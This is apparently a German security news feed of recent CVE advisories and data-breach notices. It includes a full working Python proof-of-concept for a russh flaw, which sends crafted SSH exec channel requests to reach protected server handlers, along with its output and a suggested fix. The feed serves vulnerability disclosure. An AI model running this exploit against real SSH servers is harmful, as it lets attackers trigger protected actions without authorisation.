| Risiko / Label | Veröffentlichung | |
|---|---|---|
| Risiko 9.8 / 10 CVE-2025-1889 | gerade eben | |
| picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic. | ||
| Risiko 9.8 / 10 CVE-2024-8309 | gerade eben | |
| A vulnerability in the GraphCypherQAChain class of langchain-ai/langchain-community version 0.2.5 allows for SQL injection through prompt injection. This vulnerability can lead to unauthorized data manipulation, data exfiltration, denial of service (DoS) by deleting all data, breaches in multi-tenant security environments, and data integrity issues. Attackers can create, update, or delete nodes and relationships without proper authorization, extract sensitive data, disrupt services, access data across different tenants, and compromise the integrity of the database. | ||
| Risiko 5 / 10 CVE-2026-68930 | vor 27 Minute(n) | |
| There is a server-side channel state issue in `russh`. After a client is authenticated, `russh` can dispatch channel-scoped handler callbacks for recipient channel IDs that were never opened or confirmed. In the strongest reproduced case, the client does not send `SSH_MSG_CHANNEL_OPEN` at all. It authenticates normally, then sends `SSH_MSG_CHANNEL_REQUEST` packets with request type `exec` for a range of recipient channel IDs. `russh` still calls the server application's `exec_request` handler. This is not an authentication bypass. A valid login is required. The issue is that the SSH channel lifecycle is not enforced before channel-scoped callbacks are delivered to the application. ## Impact An authenticated client can bypass the server application's channel-open policy. A server may deny session channels by returning `false` from `Handler::channel_open_session`. A server may also assume that callbacks such as `exec_request`, `shell_request`, `subsystem_request`, `data`, `channel_eof`, or `channel_close` are only delivered for channels that were opened and confirmed by the SSH transport layer. That assumption does not hold in the vulnerable path. A malicious authenticated peer can send channel-scoped messages for arbitrary recipient channel IDs and cause handler callbacks to run even though no channel exists. The exact impact depends on the downstream application. For many SSH server use cases, `exec_request`, `shell_request`, or `subsystem_request` start commands, jobs, shells, SFTP-like subsystems, internal workflows, or other state-changing operations. In the PoC, the protected `exec_request` action runs even though no channel was opened. ## Why this is not intended behavior SSH channel requests are not global post-authentication requests. They are operations on an existing channel. RFC 4254 describes channel-specific messages as carrying a recipient channel number. The `exec` request is a `SSH_MSG_CHANNEL_REQUEST` for a session channel. That means the recipient channel should refer to a channel that exists in the local open-channel state. The relevant boundary is therefore not password authentication. The boundary is the channel-open decision. If no channel has been opened, or if the application denied the open request, `russh` should not deliver session-specific callbacks for that recipient ID. This is also not just a handler bug. The handler does not own the transport channel table. `russh` does. The application gets a `channel_open_*` callback and returns whether the channel is allowed. If that decision is denied, or if the client never requested a channel at all, channel-scoped callbacks should not be reachable. ## Documentation and API boundary The public API documentation supports this boundary. `channel_open_session` is the application hook for creating a new session channel, and its boolean return value is the application's decision on whether that channel open should be granted. Separately, `exec_request` is the application hook for deciding what to do with a command request received on a channel. Those are different responsibilities. The application can decide whether a command is allowed. The library must first decide whether the recipient channel exists and was actually opened. Delivering `exec_request` for a recipient `ChannelId` that is absent from the established channel table bypasses the channel-open decision before the application can safely rely on it. ## Root cause In `server_read_authenticated` in `russh/src/server/encrypted.rs`, channel-scoped messages are decoded and then dispatched to handler callbacks without a mandatory check that the recipient channel is established in the encrypted session's channel table. The problematic pattern is visible in the `CHANNEL_REQUEST` handling. The code reads the recipient channel ID and request fields. It may look up the channel to send an internal `ChannelMsg` into the stream API, but the handler callback is outside that guard. For example, the `exec` branch has this shape: ```rust "exec" => { let req = map_err!(Bytes::decode(r))?; map_err!(ensure_end(r))?; if let Some(chan) = self.channels.get(&channel_num) { let _ = chan .send(ChannelMsg::Exec { want_reply: true, command: req.to_vec(), }) .await; } handler.exec_request(channel_num, &req, self).await } ``` If `channel_num` is not open, the internal send is skipped, but `handler.exec_request(...)` is still called. The same issue applies to other channel-scoped callbacks such as `shell_request`, `subsystem_request`, `env_request`, `pty_request`, `data`, `extended_data`, `channel_eof`, and `channel_close`. There is a second related problem in `server_handle_channel_open`. The application-side channel reference can be inserted into `self.channels` even when the handler returns `Ok(false)`. The protocol table `enc.channels` is only populated when the open is actually allowed. This means the two maps can diverge after a denied open. The authoritative source for whether a channel is established should be `enc.channels`, not `self.channels`. ## Evidence from the PoC The PoC uses a real `russh` server over localhost TCP. It uses real authentication with username `alice` and password `correct`. Paramiko is used only as an authenticated SSH peer that can send crafted packets over the real encrypted SSH transport. POC Code : ```python import argparse import sys import time import paramiko from paramiko.common import MSG_CHANNEL_REQUEST, cMSG_CHANNEL_REQUEST from paramiko.message import Message from paramiko.ssh_exception import ChannelException CHANNEL_SCAN_END = 32 def connect(port: int) -> paramiko.Transport: transport = paramiko.Transport(("127.0.0.1", port)) transport.connect(username="alice", password="correct") return transport def normal_allowed(port: int) -> None: transport = connect(port) print("normal client: CHANNEL_OPEN session") channel = transport.open_session(timeout=5) print("normal client: session open confirmed") print('normal client: exec "protected"') channel.exec_command("protected") time.sleep(0.25) channel.close() transport.close() def normal_denied(port: int) -> None: transport = connect(port) print("normal client: CHANNEL_OPEN session") try: transport.open_session(timeout=5) except ChannelException: print("normal client: session open denied") pass else: raise RuntimeError("normal denied control unexpectedly opened a session channel") time.sleep(0.25) transport.close() def send_exec_request(transport: paramiko.Transport, recipient_channel: int) -> None: print( "crafted packet: " f"SSH_MSG_CHANNEL_REQUEST({MSG_CHANNEL_REQUEST}) " f"recipient_channel={recipient_channel} " 'request_type="exec" ' 'command="protected"' ) msg = Message() msg.add_byte(cMSG_CHANNEL_REQUEST) msg.add_int(recipient_channel) msg.add_string("exec") msg.add_boolean(True) msg.add_string(b"protected") transport._send_user_message(msg) def exploit_denied(port: int) -> None: transport = connect(port) print("malicious peer: CHANNEL_OPEN session") try: transport.open_session(timeout=5) except ChannelException: print("malicious peer: session open denied") else: raise RuntimeError("exploit setup unexpectedly opened a session channel") print(f"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}") for channel_id in range(CHANNEL_SCAN_END): send_exec_request(transport, channel_id) time.sleep(0.01) time.sleep(0.5) transport.close() def exploit_without_open(port: int) -> None: transport = connect(port) print("malicious peer: no CHANNEL_OPEN sent") print(f"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}") for channel_id in range(CHANNEL_SCAN_END): send_exec_request(transport, channel_id) time.sleep(0.01) time.sleep(0.5) transport.close() def main() -> int: parser = argparse.ArgumentParser() parser.add_argument( "--mode", choices=["allowed", "denied", "denied-open", "noopen"], required=True, ) parser.add_argument("--port", type=int, required=True) args = parser.parse_args() if args.mode == "allowed": normal_allowed(args.port) elif args.mode == "denied": normal_denied(args.port) elif args.mode == "noopen": exploit_without_open(args.port) else: exploit_denied(args.port) return 0 if __name__ == "__main__": sys.exit(main()) ``` The crafted packet form is: ```text SSH_MSG_CHANNEL_REQUEST(98) recipient_channel = N request_type = "exec" command = "protected" ``` The PoC runs normal controls and exploit cases in one execution. ### Allowed control This proves the protected action works normally when a session channel is opened. ```text normal client: CHANNEL_OPEN session normal client: session open confirmed normal client: exec "protected" channel_open_session called: 1 exec_request called: 1 protected action executed: 1 channel ever opened/confirmed: true working recipient channel ids: [2] ``` ### Denied control This proves the application policy denies session channels and a normal client cannot reach the protected action. ```text normal client: CHANNEL_OPEN session normal client: session open denied channel_open_session called: 1 exec_request called: 0 protected action executed: 0 channel ever opened/confirmed: false working recipient channel ids: none ``` ### Main exploit: no channel open This is the main issue. The authenticated client does not send `SSH_MSG_CHANNEL_OPEN`. It sends crafted `SSH_MSG_CHANNEL_REQUEST` packets for recipient IDs `0..31`. ```text malicious peer: no CHANNEL_OPEN sent malicious peer: scanning recipient channel ids 0..31 channel_open_session called: 0 exec_request called: 32 protected action executed: 32 channel ever opened/confirmed: false working recipient channel ids: [0, 1, 2, ..., 31] ``` This removes the "guessed channel ID" concern. Every scanned recipient ID reached the protected action in the vulnerable run. ### Additional variant: denied open The client asks for a session channel, the handler denies it, and the client then sends the same crafted requests. ```text malicious peer: CHANNEL_OPEN session malicious peer: session open denied channel_open_session called: 1 exec_request called: 32 protected action executed: 32 channel ever opened/confirmed: false working recipient channel ids: [0, 1, 2, ..., 31] ``` The denied-open variant is not required for exploitability, but it shows the same state validation gap after an explicit application denial. ## Affected code path Verified at: ```text f1a0f180a02ccedf48d86f2c5e0361308cf6b7c6 v0.61.1-9-gf1a0f18 ``` The affected logic is in: ```text russh/src/server/encrypted.rs ``` The vulnerable area is: ```text server_read_authenticated ``` Channel request dispatch decodes a recipient channel ID and calls request-specific handler callbacks without first requiring that the recipient ID exists as a confirmed channel in `enc.channels`. The affected request callbacks include: ```text pty_request x11_request env_request shell_request agent_request exec_request subsystem_request window_change_request signal ``` The same missing established-channel guard affects: ```text CHANNEL_DATA CHANNEL_EXTENDED_DATA CHANNEL_EOF CHANNEL_CLOSE ``` A related issue exists in: ```text server_handle_channel_open ``` Application channel references should not be retained for denied opens. ## Why this belongs in russh The application cannot reliably enforce the SSH transport channel lifecycle from inside individual callbacks. By the time `exec_request` is called, the application is already being told that a channel-scoped request exists. The library should not call that handler for a channel ID that does not exist in the confirmed channel table. This is the same kind of invariant `russh` already applies for some channel state updates. The missing part is to apply the established-channel check consistently before all channel-scoped callbacks are dispatched. The safe expectation is simple: ```text No established channel, no channel-scoped handler callback. ``` ## Suggested fix Before dispatching any channel-scoped callback, require the recipient `ChannelId` to exist in the encrypted session's established channel table and to be confirmed. The authoritative check should use `enc.channels`, not `self.channels`. A minimal approach is to add a helper like: ```rust fn ensure_established_channel(&self, channel: ChannelId) -> Result<(), Error> { if self .common .encrypted .as_ref() .and_then(|enc| enc.channels.get(&channel)) .is_some_and(|channel| channel.confirmed) { Ok(()) } else { Err(Error::Inconsistent) } } ``` Then call it before dispatching channel-scoped callbacks for: ```text CHANNEL_REQUEST CHANNEL_DATA CHANNEL_EXTENDED_DATA CHANNEL_EOF CHANNEL_CLOSE CHANNEL_WINDOW_ADJUST ``` For unknown or unconfirmed channels, `russh` should not call application callbacks. The exact wire response can be request failure, ignore, or disconnect depending on the existing protocol-error handling for that message type. The channel-open path should also retain application-side channel references only when the open is approved: ```rust let mut result = handler.channel_open_session(channel, self).await; if let Ok(allowed) = &mut result { if *allowed { self.channels.insert(sender_channel, reference); } self.finalize_channel_open(&msg, channel_params, *allowed)?; } ``` ## Regression coverage A regression test should authenticate normally, then verify that callbacks are not reached in these cases: ```text 1. CHANNEL_REQUEST "exec" without prior CHANNEL_OPEN 2. CHANNEL_OPEN "session" denied by the handler, then CHANNEL_REQUEST "exec" 3. CHANNEL_DATA without prior CHANNEL_OPEN 4. CHANNEL_EOF / CHANNEL_CLOSE without prior CHANNEL_OPEN ``` The test should fail if any channel-scoped callback such as `exec_request`, `shell_request`, `subsystem_request`, `data`, `channel_eof`, or `channel_close` is invoked for a non-established channel. A positive control should confirm that a normally opened session channel still reaches the expected callbacks. In the local validation, the targeted regression passed after the patch: ```text cargo test -p russh --test channel_state_validation ``` The full workspace also passed: ```text cargo test --workspace ``` ## Duplicate check I checked existing `Eugeny/russh` advisories and issue searches for terms related to: ```text CHANNEL_REQUEST exec_request channel_open_session denied unopened channel server_handle_channel_open channel request handler ``` Existing advisories cover unrelated authentication, parser, allocation, window-adjust, Terrapin, and cryptographic issues. I did not find an existing advisory or issue for channel-scoped callbacks being dispatched for unopened or denied recipient channel IDs. | ||
| Risiko 7.5 / 10 CVE-2026-67609 | vor 46 Minute(n) | |
| Telenia Software TVox 26.5.3 and prior 26.x versions, and 24.9.21 and prior 24.x versions, contain a privilege escalation vulnerability that allows attackers with access to the apache account to execute arbitrary commands as root by exploiting an insecure sudoers configuration in /etc/sudoers.d/telenia. The configuration grants the apache user NOPASSWD execution of /bin/nice, which can be leveraged to invoke arbitrary commands, enabling full root-level command execution without supplying a password. | ||
| Risiko ? / 10 CVE-2026-9487 | vor 1 Stunde(n) | |
| XML::Sig versions before 0.71 for Perl allow signature wrapping via duplicate ID. _get_signed_xml() in lib/XML/Sig.pm, called from verify(), resolves the SignedInfo Reference/@URI to a node with the XPath expression "//*[@ID='$id']" and returns the first node of the resulting node set. A document in which two elements share that ID value is accepted: the digest and signature are checked against whichever element comes first in document order, and the duplicate is not detected. Such a document verifies successfully while an application that resolves the same ID independently can read the second, attacker supplied element; in a SAML2 context this places the contents of an Assertion under attacker control. | ||
| Risiko 7.5 / 10 CVE-2026-69093 | vor 1 Stunde(n) | |
| Admidio before 5.0.11 does not validate the adm_csrf_token in modules/category-report/preferences.php, which performs persistent Category Report configuration changes based on GET parameters (delete and copy). An attacker can trick an authenticated administrator into visiting a crafted URL to delete or duplicate Category Report configurations, affecting the integrity and availability of that module's configuration. | ||
| Risiko 7.5 / 10 CVE-2026-69096 | vor 1 Stunde(n) | |
| OpenWrt luci-app-dockerman (LuCI master and openwrt-25.12 snapshots containing the ucode docker_rpc.uc RPC backend after the JS/ucode conversion) contains an OS command injection vulnerability. The package's read ACL grants broad ubus access to docker.* / docker.container.*, which exposes the docker.container.ttyd_start method even though it performs mutating operations. The run_ttyd handler builds a shell command from the request-controlled id, cmd, and uid fields and passes it to system() without quoting or argv-style execution in the rpcd root context. An authenticated attacker holding only the luci-app-dockerman read ACL can inject shell metacharacters (e.g., in id) to execute arbitrary commands as root via an HTTP POST to /ubus. openwrt-24.10 and openwrt-23.05 do not contain this backend and are not affected; no patched version was known as of the advisory. | ||
| Risiko 5 / 10 CVE-2026-69094 | vor 1 Stunde(n) | |
| Admidio before 5.0.11 contains an insecure direct object reference vulnerability in the save_temporary mode of mylist_function.php that allows authenticated users to hijack list configurations. Attackers can enumerate global list UUIDs and overwrite admin-curated global lists or other users' private lists by supplying a list_uuid parameter, transferring ownership and demoting global lists to personal configurations. | ||
| Risiko ? / 10 CVE-2026-9390 | vor 1 Stunde(n) | |
| XML::Sig versions before 0.71 for Perl allow XPath injection in ID lookup. verify() and _get_signed_xml() in lib/XML/Sig.pm build XPath expressions by concatenating the SignedInfo/Reference/@URI value read from the document being verified. The value is neither escaped nor checked against the NCName grammar that XML requires of an ID, so a URI containing a single quote closes the string literal in the generated expression and appends arbitrary XPath operators. A crafted URI can make the lookup match elements the reference does not name, or every element in the document, so which node is selected for digest verification is decided by the injected expression rather than by the reference. | ||
| Risiko 7.5 / 10 CVE-2026-69097 | vor 1 Stunde(n) | |
| GitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim's .git/config via create_submodule or clone_from operations, achieving remote code execution when git performs ssh operations. | ||
| Risiko 7.5 / 10 CVE-2026-69095 | vor 1 Stunde(n) | |
| OpenWrt luci-app-bmx7 before commit 5890760a454dad2cb00389dba2cdc5e779e0ffdd contains a path traversal vulnerability in the bmx7-info CGI script that allows unauthenticated attackers to read files outside the configured runtimeDir. Attackers can supply directory traversal sequences in the query string to escape the intended directory and read sensitive files accessible to the CGI process. | ||
| Risiko 7.5 / 10 CVE-2026-69088 | vor 1 Stunde(n) | |
| Grav CMS versions 2.0.7 through 2.0.10 fail to validate fully-qualified static method calls (Class::method) in blueprint dynamic-field directives because Blueprint::isSafeDynamicCall() only applies its dangerous-callable denylist to strings that do not contain '::'. An account with only page-editing rights (admin.pages, not super-admin or admin.pages_twig) can plant a directive in a page's form-field frontmatter that invokes an arbitrary public static PHP method with attacker-controlled arguments. Using built-in gadget methods this allows reading of any server-readable file (disclosed to anonymous visitors of the crafted page) and arbitrary creation/copying of files and directories under the web-server account. Fixed in 2.0.11. | ||
| Risiko 7.5 / 10 CVE-2026-69091 | vor 1 Stunde(n) | |
| Admidio before 5.0.11 contains an authentication bypass vulnerability in the forum module when configured in login-only mode. The access control logic in modules/forum.php fails to validate the login-only configuration state, allowing unauthenticated attackers to read forum topics and posts by directly accessing the module with read-only parameters. | ||
| Risiko 7.5 / 10 CVE-2026-69089 | vor 1 Stunde(n) | |
| Grav CMS 2.0.10 contains a path traversal vulnerability in ImageMedium::watermark(), which passes its unsanitized $image argument to RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator::findResource(). Because the file:// scheme branch only lexically collapses '..' segments without a realpath/containment check, an editor authoring Markdown image syntax with traversal sequences can cause arbitrary image files outside Grav's media sandbox to be composited into a carrier image, which is then cached and served from a public, unauthenticated URL — disclosing those files to anonymous visitors. | ||
| Risiko 5 / 10 CVE-2026-69090 | vor 1 Stunde(n) | |
| Admidio before 5.0.11 fails to validate target organization membership in role handlers, allowing authenticated role administrators to delete, activate, deactivate, or edit roles belonging to other organizations. Attackers can supply a role UUID from another organization to groups_roles.php handlers to modify that organization's roles without authorization. | ||
| Risiko 5 / 10 CVE-2026-69092 | vor 1 Stunde(n) | |
| Admidio versions before 5.0.11 contain a reflected cross-site scripting vulnerability in the SSO/SAML endpoint that echoes unencoded exception messages to the HTTP response. Unauthenticated attackers can inject arbitrary JavaScript through SAML Issuer elements or LightSaml library parameters to execute code in users' browsers and hijack sessions. | ||
| Risiko 7.5 / 10 CVE-2026-69087 | vor 1 Stunde(n) | |
| The Grav form plugin (getgrav/grav-plugin-form) before 9.1.13 contains an open redirect vulnerability. Since v9.1.11, the redirect process action evaluates user-supplied form data inside Twig expressions, and Grav::redirect() accepts external URLs without origin validation. When a form blueprint defines a redirect target such as redirect: "{{ form.value('next') }}" using an attacker-controllable field, an unauthenticated form submitter can supply a value like https://evil.com to cause a 302 redirect to an arbitrary external site, enabling phishing. | ||
| Risiko 7.5 / 10 CVE-2026-69086 | vor 1 Stunde(n) | |
| SiYuan versions before v3.7.3 fail to validate the avID parameter on all code branches in attribute-view read endpoints, allowing attackers to construct traversal paths that escape the storage directory. Authenticated users with RoleReader permissions or anonymous clients when publish authentication is disabled can read JSON files outside the attribute-view directory to disclose cross-scope database content. | ||
| Risiko 9.5 / 10 CVE-2026-69083 | vor 1 Stunde(n) | |
| SiYuan versions before v3.7.3 contain SQL injection vulnerabilities in the fullTextSearchAssetContent endpoint reachable by unauthenticated users and publish RoleReader tokens. Attackers can execute arbitrary SQL on the read-write asset-content database via unescaped method parameters and REGEXP clauses to read, modify, or delete cross-notebook data. | ||
| Risiko 9.5 / 10 CVE-2026-69084 | vor 1 Stunde(n) | |
| SiYuan versions <= v3.7.2 expose the /api/search/searchEmbedBlock endpoint, which passes a client-supplied SQL statement verbatim to the main read-write siyuan.db handle with no single-statement, read-only, or admin restrictions. The endpoint is gated only by CheckAuth, making it reachable by the publish RoleReader token and by anonymous users when publish authentication is disabled. Because the underlying driver executes stacked statements, an attacker can read and modify content across all opened cleartext notebooks (encrypted per-box notebooks are excluded). Fixed in v3.7.3. | ||
| Risiko 9.5 / 10 CVE-2026-69085 | vor 1 Stunde(n) | |
| SiYuan before v3.7.3 contains a SQL injection vulnerability in the /api/filetree/searchDocs endpoint, where the caller-supplied keyword parameter is concatenated directly into SQL statements with no escaping or parameter binding. The endpoint is reachable by a publish RoleReader token, or unauthenticated when publish mode is enabled with Publish.Auth.Enable set to false. Because the statement executes on a read-write SQLite handle via a driver that supports stacked (semicolon-separated) statements, an attacker can read and modify database content across all cleartext (non-encrypted) notebooks on the instance. | ||
| Risiko 7.5 / 10 CVE-2026-18642 | vor 1 Stunde(n) | |
| Deserialization of untrusted data vulnerability in TUBITAK BILGEM Software Technologies Research Institute eta-otp-lock allows Object Injection. This issue affects eta-otp-lock: before 1.0.4. | ||
| Risiko 7.5 / 10 CVE-2026-18601 | vor 1 Stunde(n) | |
| A vulnerability was found in GL.iNet GL-MT3000 up to 4.4.5. This impacts the function ovpn-client.check_config of the file /cgi-bin/glc of the component ovpn-client.so Native Plugin. Performing a manipulation of the argument filename results in command injection. Remote exploitation of the attack is possible. The exploit has been made public and could be used. The vendor was contacted early about this disclosure and confirmed the existence of the vulnerability. | ||
| Risiko 7.5 / 10 CVE-2026-18600 | vor 1 Stunde(n) | |
| A vulnerability has been found in GL.iNet GL-MT3000 up to 4.4.5. This affects the function network.switch_info/network.switch_status of the file /usr/lib/oui-httpd/rpc/network of the component Network Lua RPC Plugin. Such manipulation of the argument switch leads to command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure and confirmed the existence of the vulnerability. | ||
| Risiko ? / 10 CVE-2026-18089 | vor 1 Stunde(n) | |
| Net::SAML2 versions before 0.86 for Perl allow SAML authentication bypass by verifying responses against the response-embedded certificate in verify_xml when no trust anchor is configured. verify_xml in Net::SAML2::Role::VerifyXML runs "return if !$anchors && !$cacert;" as soon as the XML::Sig check succeeds, and that check uses the X.509 certificate taken from the response's own dsig:KeyInfo/dsig:X509Certificate element, so an unanchored response is checked only against the key it carries. Binding::POST declares cacert as an optional Maybe[Str] with no default, so a POST binding built without one takes that path, and _verify_encrypted_assertion returns early the same way with "return $xml unless $cacert;". Any caller that constructs Binding::POST or calls Assertion->new_from_xml without a cacert, cert_text, or anchors argument accepts a response signed by an attacker generated key whose self-signed certificate is embedded in that response, authenticating an arbitrary assertion. | ||
| 21.07.2026 - SplitVPN | 865.336 Datensätze geleaked | |
| Device information, Email addresses, Geographic locations, IP addresses, Partial credit card data In July 2026, the Russian VPN service SplitVPN (previously known as NotVPN) suffered a data breach. The incident exposed millions of customer records, including 865k unique email addresses. Other impacted data included IP addresses, the user's country, and partial payment card data (first 6 and last 4 digits plus expiry date). |
||
| 01.07.2026 - Fluke | 821.100 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Physical addresses, Support tickets In July 2026, electronic test and measurement equipment company Fluke was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published more than 100GB of data allegedly taken from the company. The corpus contained largely corporate contact information, including over 800k unique email addresses, names, phone numbers and physical addresses. A large collection of support cases was also present. |
||
| 18.06.2026 - Operation Endgame 4.0 | 4.348.526 Datensätze geleaked | |
| Email addresses, Passwords On 18 June 2026, the latest phase of Operation Endgame targeted the SocGholish malware operation, a prolific malware distribution network used to compromise systems and facilitate further cybercrime. Coordinated by international law enforcement agencies with support from Europol and Eurojust, the operation remediated almost 15,000 compromised websites and disrupted more than 100 servers and domains used to distribute malware. Authorities initially provided HIBP with 154k impacted email addresses and more than half a million previously unseen passwords. The following week, a further 4M email addresses and 9M passwords relating to the StealC malware operation also targeted by Operation Endgame were provided, followed by another 131k email addresses the following month, bringing the total to more than 4.3M unique email addresses. |
||
| 16.06.2026 - Houston City College | 831.642 Datensätze geleaked | |
| Academic records, Citizenship statuses, Dates of birth, Email addresses, Genders, Names, Phone numbers, Physical addresses In June 2026, Houston City College was the target of a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from the college was later published publicly and included 832k unique email addresses along with names, addresses, phone numbers, academic records, and other personal information relating to both current students and alumni. |
||
| 15.06.2026 - Glendale Community College | 793.925 Datensätze geleaked | |
| Academic records, Dates of birth, Email addresses, Genders, Government issued IDs, Names, Phone numbers, Physical addresses In June 2026, Glendale Community College was the target of a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from Glendale was later published online and included almost 800k unique email addresses along with various other data fields, including names, addresses, phone numbers, Social Security numbers and other information relating to student enrolments. In its disclosure notice, the college advised that "the potentially impacted information may vary for each individual and may include all or just one of the above-listed types of information". |
||
| 15.06.2026 - June 2026 Stealer Logs | 56.278.397 Datensätze geleaked | |
| Email addresses, Passwords In June 2026, a collection of accumulated stealer logs from various sources was added to HIBP. The corpus comprised 56M unique email addresses across hundreds of millions of stealer log records. The data also contained 124M unique passwords, which have been added to Pwned Passwords and are now searchable. Individuals can view any records captured against their email address in the stealer logs section of their dashboard. Organisations can see logs affecting their domain via the stealer logs API. |
||
| 15.06.2026 - Moody Bible Institute | 2.303.416 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Marital statuses, Names, Phone numbers, Physical addresses In June 2026, Moody Bible Institute was targeted by a ShinyHunters "pay or leak" extortion campaign. Over 2.3M unique email addresses and other personal data were later published publicly, including names, physical addresses, phone numbers, dates of birth and other information relating to donors, supporters, students and alumni. In their disclosure notice, Moody advised that they had "engaged both internal and external cybersecurity experts to thoroughly investigate the matter". |
||
| 15.06.2026 - Sysco | 2.691.852 Datensätze geleaked | |
| Customer feedback, Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Usernames In June 2026, the food distribution company Sysco was targeted by a ShinyHunters "pay or leak" extortion campaign. Data was subsequently published containing 2.7M unique email addresses belonging to staff and customers. The data also contained largely corporate contact information including names, phone numbers, physical addresses, internal job titles, and customer feedback. |
||
| 12.06.2026 - American Tower | 216.601 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In June 2026, telecommunications tower infrastructure company American Tower was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data allegedly taken from the company containing more than 200k unique email addresses belonging to employees, contractors, customers, and leads. Exposed data also included names, addresses, and phone numbers. |
||
| 12.06.2026 - JCPenney | 368.418 Datensätze geleaked | |
| Dates of birth, Email addresses, Government issued IDs, Job titles, Names, Phone numbers, Physical addresses, Usernames In June 2026, retailer JCPenney and associated brands were targeted in a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from JCPenney through the exploitation of a critical zero-day vulnerability in Oracle PeopleSoft was later published publicly. The exposed records indicated they primarily related to internal HR systems and impacted current and former employees. The data included 368k corporate and personal email addresses, names, dates of birth, Social Security numbers, phone numbers and home addresses. |
||
| 11.06.2026 - Ralph Lauren | 139.903 Datensätze geleaked | |
| Age groups, Email addresses, Genders, Names, Phone numbers In June 2026, fashion retailer Ralph Lauren was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published hundreds of gigabytes of data they claimed was obtained from the organisation's Salesforce instance, including 140k unique email addresses along with names, phone numbers, genders and age groups. |
||
| 09.06.2026 - Goose Creek | 6.574.121 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Purchases In June 2026, a party claiming to have access to data from Goose Creek Candle Company sent emails to a number of the company's customers, claiming the company had a security vulnerability and suffered a data breach. The data was subsequently sent to Have I Been Pwned and contained 6.6M unique email addresses along with names, phone numbers, physical addresses, order IDs and total spent. The data appears to have been obtained from the company's Shopify instance. Goose Creek is aware of the reports but was unable to provide Have I Been Pwned with any further information at the time of publication. |
||
| 09.06.2026 - University of Nottingham | 454.635 Datensätze geleaked | |
| Academic records, Citizenship statuses, Dates of birth, Disabilities, Email addresses, Ethnicities, Genders, IP addresses, Names, Passport numbers, Phone numbers, Physical addresses, Purchases, Salutations, Usernames In June 2026, the University of Nottingham was the target of a cyber attack, later linked to a ShinyHunters "pay or leak" extortion campaign. Tens of gigabytes of data were subsequently published online and included 455k unique email addresses along with extensive personal information including names, addresses, phone numbers, ethnicities, disabilities, passport numbers and information relating to academic enrolments and fee payments. In a post about the incident, the university advised that the breach affected both "current students, and alumni". |
||
| 05.06.2026 - Madison Square Garden Sports | 9.796.738 Datensätze geleaked | |
| Customer service records, Email addresses, Names, Phone numbers, Physical addresses In June 2026, the sports and entertainment company Madison Square Garden Sports was the target of a ShinyHunters "pay or leak" extortion campaign. The group later published the alleged data, which included almost 10M unique email addresses spanning staff and customers, along with extensive personal, employment and customer relationship information. |
||
| 30.05.2026 - Atlas Menu | 63.926 Datensätze geleaked | |
| Email addresses, IP addresses, Passwords, Support tickets, Usernames In May 2026, the GTA V and CS2 cheat service Atlas Menu suffered a data breach. An attacker claimed to have gained access to all Atlas systems and published the service's database to a public GitHub repository. The incident exposed 64k unique email addresses along with usernames, IP addresses, support tickets and passwords stored as bcrypt hashes. |
||
| 29.05.2026 - BCD Travel | 396.313 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the corporate travel management company BCD Travel was claimed as a victim of the ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from BCD was subsequently published publicly in early June and contained 396k unique email addresses. Other exposed data included names, addresses, phone numbers, job titles and employer names, spanning a variety of different data sets including leads, internal staff and support tickets. |
||
| 23.05.2026 - Baker Distributing | 102.935 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the HVAC/R wholesale distributor Baker Distributing Company was added to the ShinyHunters data extortion group's "pay or leak" site. In early June, the group publicly published data they claimed had been obtained from Baker's SharePoint and Salesforce infrastructure including 103k unique email addresses along with names, physical addresses, phone numbers and tickets relating to the company's HVAC contractor customer base. The exposed data was largely corporate contact and support information with limited sensitivity. |
||
| 23.05.2026 - Charter | 4.851.517 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In May 2026, the telecommunications company Charter Communications (the parent company behind the consumer broadband and cable brand Spectrum) was named by the ShinyHunters group in a "pay or leak" extortion campaign. The group later published the data, which exposed 4.9M unique email addresses along with names, phone numbers and physical addresses. A subset of approximately 85k records originating from an internal employee directory also included job titles. Charter confirmed the incident, but stated that no sensitive personal information or customer proprietary network information (CPNI) was exfiltrated. |
||
| 23.05.2026 - DentaQuest | 2.553.599 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Government issued IDs, Health insurance information, Names, Phone numbers, Physical addresses In May 2026, the dental benefits administrator DentaQuest was the target of a ShinyHunters "pay or leak" extortion campaign that resulted in the group publicly publishing hundreds of gigabytes of data allegedly obtained from the company. The data included 2.6M unique email addresses along with names, addresses and phone numbers. Much of the data appeared in healthcare enrollment files (ASC X12 transaction sets) with some containing Medicaid IDs, while additional data appeared in member records and related files. DentaQuest acknowledged "a cybersecurity incident involving unauthorized access to a limited portion of our network", and advised they had contained the attack and mitigated the threat. |
||
| 05.05.2026 - Cushman & Wakefield | 310.431 Datensätze geleaked | |
